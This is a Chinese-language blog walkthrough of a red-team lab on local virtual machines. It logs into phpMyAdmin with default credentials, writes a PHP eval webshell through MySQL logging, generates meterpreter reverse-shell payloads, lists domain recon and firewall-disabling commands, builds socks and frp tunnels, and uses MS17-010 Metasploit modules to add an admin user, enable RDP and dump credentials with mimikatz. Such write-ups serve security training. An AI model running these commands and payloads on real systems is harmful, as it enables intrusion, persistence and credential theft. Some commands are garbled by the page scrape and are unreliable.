ATT&CK实战系列——红队实战(一) 最开始搭好环境后打了一部分搁置了一段时间,渗透入门,就是中间有很多怪怪的问题, [toc]
参考文章
Cobalt Strike使用手册
https://xz.aliyun.com/t/10076#toc-10
https://mp.weixin.qq.com/s/A3MIuT7RXTIIPNLjF42OTg
cs之beacon
cs基本命令 cs文档 https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html cs和msf会话互传 靶场记录 基本命令
windows主机信息收集
Windows信息收集
主机信息收集
内网信息收集
msf反弹payload学习
内网信息收集
内网渗透代理
meterpreter后渗透
环境搭建 image-20230111190013726
Windows2003、Windows Server 2008网络适配器设置为自定义(VMnet1仅主机模式);攻击机我这里用的是物理机关一个网卡VM1就无法再访问到两台内网主机。此时Win7、Windows2003、Windows Server 2008处于同一内网中,攻击机只能先拿下win7,再通过win7访问内网进行横向渗透;
Kali:192.168.47.1
Win7:外网192.168.47.128 内网193.168.52.143
Windows2003:192.168.52.141
Windows Server 2008:192.168.52.138
请添加图片描述
渗透攻击 信息收集 其实这种靶场因为涉及的机子就三台,也没有什么子域名要收集,基本上就已知的三个ip,所以真要说信息收集也真没啥要收集的,直接就一个供外网能访问的站了。但是要涉及一些目标比较大,子域名等等信息比较多的渗透的时候,信息收集就很重要了,这个回头再总结吧。
入口是个php探针,里面很容易发现服务器主机名,管理员邮箱admin@phpStudy.net 等等敏感信息。
请添加图片描述
进而也能看到phpinfo
请添加图片描述
扫下IP看看开了哪些端口,然后扫下目录。很明显发现有 phpMyAdmin,还有shell.php(这个是我之前传的)。
image-20230111191645848
getshell 从mysql getshell 访问phpMyAdmin,测试一下mysql用户密码,这里账号密码root/root很容易试出来。
先查询一下能否写文件,NULL说禁止写文件。
image-20230111191918489
看看能否通过日志getshell。SET GLOBAL general_log='on'
打开general_log日志读写功能。
image-20230111192219562
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/kkfine.php';'
创建一个shell.php
作为日志文件,然后查询SELECT '<?php @eval($_POST[kkfine]);?>'
即可写马。
image-20230111192756681
从cms getshell 其实靶场还搭了一个Yxcms http://192.168.47.128/yxcms/,这是可以从数据库中发现的。查询管理员用户密码,md5爆破后为949ba59abbe56e05,但事实上后台应该不是只用了md5加密,最终用默认用户密码admin/123456登录进入。
image-20230111193451869
进入后台发现可以编辑后台模板文件,直接写马
image-20230111195055904
同样getshell
image-20230111195111219
msf接受shell 有很多方式可以弹shell到msf,参考文章 利用msf生成一个php文件。
msfvenom -p php/meterpreter/reverse_tcp LHOST =<Your IP Address> LPORT =<Your Port to Connect On> -f raw > shell.php
Copy
然后监听
use exploit/multi/handlerset payload /meterpreter/set set exploit
Copy
访问shell.php即可收到shell
image-20230111225227115
cs上线 cs上线也很简单添加监听器生成exe文件就行,不过真实的渗透肯定需要一些免杀马。
image-20230111230631796
维持权限 这一块的话以后再说吧,涉及到windows知识等等还没学会。
收集windows信息 常用命令
下面一些命令需要主机是域成员才能执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 net use 查看ipc连接情况 net user /domain 获取域用户列表 net user test 123 /add 添加用户 neet localgroup administrators test /add 添加test 用户到管理组,一般情况下,管理组才能远程桌面 net group /domain 查询域里面的组 net group "domain admins" /domain 获取域管理员列表 net group "enterprise admins" /domain 查看当前域中企业管理员组用户 net group "domain computers" /domain 查看当前域中的所有的计算机名(登录过该域的计算机) net group "exchange servers" /domain 查看域内是否存在Exchange net group "domain controllers" /domain 查看域控制器(如果有多台) net config workstation 查看当前登录域 net view 查看同一域内机器列表 net view \\ip 查看某IP共享 net view \\test 查看test 计算机的共享资源列表 net view /domain 查看内网存在多少个域 Net view /domain:test 查看test 域中的机器列表 wmic useraccount get Caption,sid 获取域内所有用户sid setspn -T target.com -Q */* 获取当前域内所有spnfor /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i"ttl" for /l %i in (1,1,255) do @ping 10.10.10.%i -w 1 -n 1 | find /i"ttl"
Copy
网络信息查找
ipconfig /all 查看当前主机的主机名/IP/DNS等信息 route print 查看路由表信息 netstat -ano 查看端口开放情况,有些时候能获取到别的IP段 arp -a 查看arp解析情况
Copy
寻找内网网段时建议被动寻找,主动寻找动静太大,如nmap、nbtscan这种一扫,可能整个网段内存活的机器就出来了,但随之而来的是IDS的流量审计,一旦引起流量异常被蓝队察觉,可能就会导致我们权限的丢失,永远不要小瞧蓝队,而且还是拥有各种安全设备的蓝队,内网渗透一定要谨慎,大规模资产扫描,自动化漏洞扫描我一般会留到最后才上的。
定位域控
查看域时间,一般域控会做时间服务器
通过dns定位域控
ipconfig /allipconfig /displaydns 有些时候可以在dns缓存得到域控信息
Copy
利用netdom获取域控列表,得到域控名称可通过ping获取域控IP
查看防火墙状态
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 windows server 2003及以下版本: netsh firewall show config window server 2003以上版本: netsh advfirewall show allprofiles state Windows server 2003及之前版本: netsh firewall set opmode disable #关闭 netsh firewall set opmode enable #开启 Windows server 2003之后版本: netsh advfirewall set allprofiles state off #关闭 netsh advfirewall set allprofiles state on #开启 修改防火墙规则 Windows server 2003及以下版本,允许指定端口、程序连接: netsh firewall add portopening tcp 4444 test #指定端口 netsh firewall add allowedprogram c:\a.exe test enable #指定程序 Windows server 2003之后版本,允许指定端口、程序进站、出站: netsh advfirewall firewall add rule name =test dir =in action =allow protocol =tcp localport =4444 #允许4444端口进站 netsh advfirewall firewall add rule name =test dir =in action =allow program =c:\a.exe #允许a.exe进站 netsh advfirewall firewall add rule name =test dir =out action =allow protocol =tcp localport =4444 #允许4444端口出站 netsh advfirewall firewall add rule name =test dir =out action =allow program =c:\a.exe #允许a.exe出站
Copy
其它信息查找
systeminfo 查看补丁情况,也能看到当前机器是否加入域环境 net group "domain controllers" /domain 查询域控 nslookup -type =SRV _ldap._tcp.corp 通过srv记录获取域控地址 nltest /dclist:corp 使用nltest查询域控列表 tasklist /svc 查看进程及对应服务名 cmdkey /l 查看当前保存的登陆凭证type c:\Windows\system32\drivers\etc\hosts 可以发现些内网IP
Copy
查询操作系统和版本信息
systeminfo | findstr /B /C :"OS 名称" /C :"OS 版本" systeminfo | findstr /B /C :"OS Name" /C :"OS Version"
Copy
主机信息 利用cs提权
image-20230114020239866
提取用户密码,得到管理员密码
image-20230114005541485
image-20230114005533407
查询用户列表
image-20230111233759426
whoami /all
查看当前用户以及当前用户所处的用户组的一些信息,综合判断需不需要提权,这里直接就是adminstrator。
image-20230111232232254
查看网络配置信息,可以发现有三个ip,192.168.52.143
大概率就是内网ip地址了。还可以看到在god.org
这个域中,并且在域环境中,DNS服务器的IP地址通常为域控制器地址,所以192.168.52.143
的DNS地址192.168.52.138
也很大可能是域控ip。
image-20230111232617455
image-20230111232650660
查看与dns服务器是否在同一ip上。
image-20230111233142321
查看系统详细信息,可以发现也是在域中的。
image-20230111233238400
从hosts文件也能看出来。
image-20230111232512823
查询当前登陆域及登陆用户信息
显示项的“工作站域 DNS 名称”即域名(若为“WORKGROUP”则表示不在域中),“登录域”用于表示当前登录的用户是域用户还是本地用户。
image-20230111233428621
利用cs dump下用户hash。
判断主域
该命令用于判断主域(域服务器通常会同时作为时间服务器使用),执行后通常会有如下三种情况:
存在域,但当前用户不是域用户。
image-20230111233515403
存在域,且当前用户是域用户。
image-20230111233608297
当前网络环境为工作组,不存在域。
image-20230111233558331
防火墙相关信息,关闭防火墙
image-20230111233915168
image-20230111234112564
横向渗透 探测域内存活主机 这台主机不是域成员所以还得横向攻击拿到域成员主机权限,探测域内存活主机的方式有很多
icmp
for /L %i in (1 ,1 ,254 ) DO home.php?mod=space&uid=294246 -w 1 -n 1 10 .1 .1 .%i | findstr "TTL="
Copy
fscan https://github.com/shadow1ng/fscan
上传一个fscan扫描.\fscan64.exe -h 192.168.52.1/24 > 1.txt
可以看到域内还有两台主机,192.168.52.143
域成员 192.168.52.138
域控 两台主机都能打MS17-010
image-20230111235450772
内网代理 有好多种方式可以代理,可以用Meterpreter的socks代理,或者ssh隧道或者frp穿透等等。
如果只需要代理转发一个端口,可以用portfwd进行端口转发.命令执行之后,会将192.168.47.128的3389端口转发到本地的2222端口。
portfwd add -l 2222 -r 192.168.47.128 -p 3389
Copy
这里使用msf搭建socks代理,先添加路由
run autoroute -s 192.168.52.0 /24
Copy
搭建Socks4a代理 use auxiliary/server/socks_proxy set version 4a set srvhost 192.168.101.3 set srvport 1080 exploit
Copy
image-20230112235531659
修改一下proxychains配置文件,即可实现代理。
proxychains4 nmap -p 1 -1000 -Pn -sT 192.168.52.0 /24
Copy
image-20230114014637904
浏览器使用sock4代理,可以访问到了192.168.52.141
了
image-20230114015311207
使用frp frp
作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。 https://github.com/fatedier/frp
公网vps主机frps.ini
文件
[common] bind_port = 7000 token = password
Copy
启动frps
目标内网主机frpc.ini
文件
[common] server_addr = x.x.x.xserver_port = 7000 token = password[socks5] type = tcpremote_port = 7004 plugin = socks5
Copy
启动frpc
本地攻击机修改/etc/prxoychains.conf
配置文件即可
使用nps 略
横向攻击 扫描一下192.168.52.141
,这里就开了3389并且关闭了。
image-20230114024831843
前面fscan已经扫出来大概率存在smb_ms17_010
漏洞,也可以再扫描一遍。
use auxiliary/scanner/smb/smb_ms17 _010 set rhosts 192.168.52.141 run
Copy
很明显存在漏洞
image-20230114011400208
利用msf进行攻击,最初是失败了因为靶机是32位系统,这个exp只支持64位得。32位得攻击脚本得手动下载(下载地址 )
use exploit/windows/smb/eternalblue_doublepulsarset payload windows/x64/meterpreter/reverse_tcpset PROCESSINJECT lsass.exeset RHOSTS 192.168.52.141set LPORT 7777 run
Copy
image-20230114012425214
不过发现还是失败
image-20230114023144163
后面使用ms17_010_command
执行命令是成功的,发现就是Administrator
用户。
use auxiliary/admin/smb/ms17 _010 _command
Copy
image-20230114023104546
这里参考网上的一篇文章利用ms17_010_psexec
尝试打shell,但有一下要求
为了能够使用exploit/windows/ smb/ms17_010_psexec: 您可以任意使用有效的用户名和密码绕过这些大部门要求1 .防火墙必须允许SMB流量出入2 .目标必须使用SMBv1协议3 .目标必须缺少MS17-010 补丁4 .目标必须允许匿名IPC $和管道名
Copy
关于注册表(参考 )
set command REG ADD HKLM\\ SYSTEM\\ CurrentControlSet\\ Control\\ Terminal\" \" Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 开启rdesktop
Copy
image-20230114030243880
添加用户,该模块比msf上其它几个MS17-010 漏洞利用模块要稳定,但是需要管道名,利用中经常会出现找不到管道名的情况,可以通过 auxiliary/scanner/smb/pipe_auditor 模块扫描目标可用的管道名设置NAMEDPIPE参数,或者设置smbuser和smbpass进行自动查找可用管道利用。
set command net user kkfine123 Kk456123 /add runset command net localgroup administrators kkfine123 /add runset command net localgroup administrators run
Copy
image-20230114030649450
使用exploit/windows/smb/ms17_010_psexec
拿shell
use exploit/windows/smb/ms17_010_psexec set payload /meterpreter/set set set run
Copy
但得多是几次因为很容易打成蓝屏。
image-20230114035342826
但还是无法攻击获得session,sessions一旦创建就die了。
image-20230205212551075
后面发现把payload 换成windows/shell/bind_tcp
就可以了。至此我们就拿下了内网两台主机了,只剩下域控了。这里也很容易理解,如果用反向连接攻击机可以通过跳板机进入内网,但是内网里面的主机是无法ping通我们攻击机的,用正向的话让靶机监听一个端口,攻击机通过跳板机就能连接上去了。
image-20230205212741436
这里还有种方法就是利用上述的command模块打开3389远程桌面,然后使用rdesktop来进行文件夹共享来运行我们的马。并且还能使用MS06-040漏洞攻击。
但是通过windows/shell/bind_tcp
似乎只有cmd命令行,upload一个msfvenom生成的exe上去再起handler监听即可获取meterpreter。
image-20230206010030215
我本地很怪试了很多种方法也没能获取到meterpreter,大部分都是直接die。
image-20230210225125926
获取凭证 加载mimikatz直接creds_wdigest即可
image-20230210225237063
攻击域控 进行常规扫描,发现MS17-010
漏洞,其实打法也有很多种,可以用pkexec执行命令开3389,然后远程连接配置防火墙,再打一个正向meterpreter回来即可
image-20230210214332532
image-20230210225811531